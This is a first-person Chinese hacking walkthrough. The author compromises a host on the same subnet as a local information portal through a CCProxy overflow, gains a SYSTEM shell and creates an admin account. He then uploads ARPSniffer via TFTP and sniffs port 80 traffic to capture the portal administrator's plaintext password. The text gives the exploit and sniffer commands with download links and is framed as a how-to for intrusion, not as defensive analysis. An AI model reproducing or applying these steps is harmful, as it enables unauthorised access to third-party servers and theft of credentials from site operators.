一、扫描，突现新曙光

    想来想去找不到什么好的办法，闲着也无事，于是习惯性的用X-scan扫描了一下与本地信息港（203.207.***.2）位于同一C段的IP地址。结果在扫描到的结果中发现有许多存活主机，而且其中有一些主机好像还有系统漏洞可以利用。唉，只可惜这些主机都不是我要进攻的目标！

面对扫描出来的结果发了好久的呆，突然大脑中灵光一闪冒出了一个念头：这些网站中说不定有某个与信息港位于同一个交换机内呢！如果我能进入控制与信息港位于同一交换机下的站点，就可以利用小榕哥的另外一个工具ARPSniffer.EXE，监听信息港站点中的一举一动，如果能嗅探到通过80端口传输到信息港的网站管理员密码，不就成功地搞定信息港了吗？看来方案可行！于是我开始了又一轮攻击。

    二、利用溢出漏洞拿下第一站

    在扫描到的C段IP地址中试验了几个站点，第一个站点居然还有SA空口令的漏洞，可惜连接上去后发现与信息港并不在同一个交换机下。另一个站点存在Serv-U溢出漏洞，可惜也无法利用。剩下的其它网站好像看不出有什么问题来，只有一个网站（203.207.***.44）有些奇怪，在端口扫描结果中发现它好像开放了“TCP 808”端口。也不知道这个奇怪的端口是拿来做什么的（如图1）？

图1

    于是上Google搜索了一下，呵呵，这下收获可大了！从搜索结果了解到，原来808端口是网站中一个叫作CCProxy的软件打开的。CCProxy是国内一个常用的代理服务器软件，它可以轻松建立各种代理服务器，国内的许多企业都使用它代理上网，记得当初我还用它将一台肉鸡建成了一个全能的代理服务器，怎么就给忘记了呢？恰巧被扫描的网站也是一个企业站点，看来这个网站的808端口十有八九是CCProxy打开的啦。最重要的是从网上还了解到这个CCProxy代理服务器软件刚发现了一个最新的远程漏洞，于是赶紧下载了一个溢出程序试试（下载地址：ttp://www.nuoya.org/down/soft/CCProxy.rar）。

    (小提示：CCProxy打开的端口可能还有1080、2121等，这些是用来提供Socks和FTP服务的。)

    CCProxy溢出程序的使用非常简单，在命令窗口中输入“ccpx 目标IP地址 端口”，然后按提示操作即可（如图2）。在溢出中会询问本机是与攻击目标位于同一个IP段；如果是在同一IP地址段中的话，直接按“y”，就可以开始溢出了；如果本机与攻击目标不在一个IP地址段中的话，按下“n”，溢出程序将继续提示并询问本机是否有一个公网IP地址（如图3），如果没有的话，还需要手工输入自己的网关IP地址才可以开始溢出。溢出成功后，会在当前命令窗口中自动连接攻击目标的24876端口，获得远程主机的一个SYSTEM Shell。剩下来的事就是建立管理员帐号，常常的掌握这台肉机。

图2

图3

    三、上传嗅探利器ARPSniffer

    现在要通过手里的肉鸡入侵信息港了。首先还是要查看一下两个网站服务器是不是位于同一个交换机下。远程连接肉机，在肉鸡的CMD窗口中输入命令“tracert 攻击目标IP地址”，令人兴奋的是看到直接返回了目标IP地址（如图4），现在可以确定两台主机都在同一交换机下了，看来有戏啦！可以考虑用嗅探的方法从肉鸡上获取信息港的管理员密码或者其它有用的信息。现在要用到的是一个名叫“ARPSniffer.exe”的软件（下载地址：http://admin.cnxhacker.net/Soft/uploadsoft/200409/arpsniffer.rar）。这个软件有DOS版和WIN版，RPSniffer也是小榕哥开发的一款工具非常好的嗅探工具，它可以用在交换机的环境下。在使用这个嗅探工具前首先要使用机器上安装WinPCAP驱动。怎么上传ARPSniffer到肉鸡上？还是老方法用TFTP传送。在本机上运行Tfpd32，将本机建成为一个TFTP服务器，点击界面中的“Browse”按钮，选择ARPSniffer下载压缩包的解压路径（如图5），然后在肉鸡的命令窗口中运行“Get -i TFTP服务器IP地址 文件名”即可。在这里下载后的压缩包中有两个版本的程序，我们只需要上传“arpsniffer.exe”和“WinPcap_3_0_a.exe”即可。上传成功后先运行“WinPcap_3_0_a.exe”安装嗅探驱动程序。

图4

图5

    四、利用ARPSniffer渗透攻击真正目标

    现在是万事具备，只欠嗅探。先在命令窗口中运行“Ipconfig /all”命令，查看一下肉鸡上的网址配置情况和网关IP地址（如图6）。可以查到网关（Default Gateway）为“203.207.***.1”，运行ARPSniffer命令：

“Arpsniffer  203.207.***.1  203.207.***.2  80 c:\password.txt”；

即可开始在肉鸡上监听攻击目标IP的80端口了（如图7）。攻击目标IP上所有通过80端口收发的密码将被保存在“Password.txt”文件中。在嗅探时需要注意，如果在肉鸡上安装有两块网卡的话，还要在刚才的Arpsniffer命令后加上数字参数指定嗅探的网卡ID。

图6

图7

    (小提示：当然我们也可以嗅探其它的端口，如21和25端口等获得Telnet密码。但是由于管理员以Web方式登录的几率较大些，所以我们选择了嗅探80Web端口。)

    五、获得管理员密码

    最后剩下来的事情就是坐着等待攻击目标网站上的管理员登录了。很快就看到了肉鸡上的命令窗口中有了反应，打开“password.txt”就可以看到密码。不过由于我们还在监听过程中，所以“password.txt”文件是无法直接打开的，而且也不能复制。想要查看密码记录文件，必须先终止嗅探进程。可以在肉鸡嗅探窗口中直接按下“Ctrl+C”键，就可以中止嗅探了。不过可能同时也会将我们在本机与肉鸡建立的连接窗口关闭掉了。结束后看一看，呵呵，真的有收获啦，网站管理的密码都以明文的方式保存在文本里面啦！现在还等什么呢？又可以以管理员身份登入信息港故地重游啦！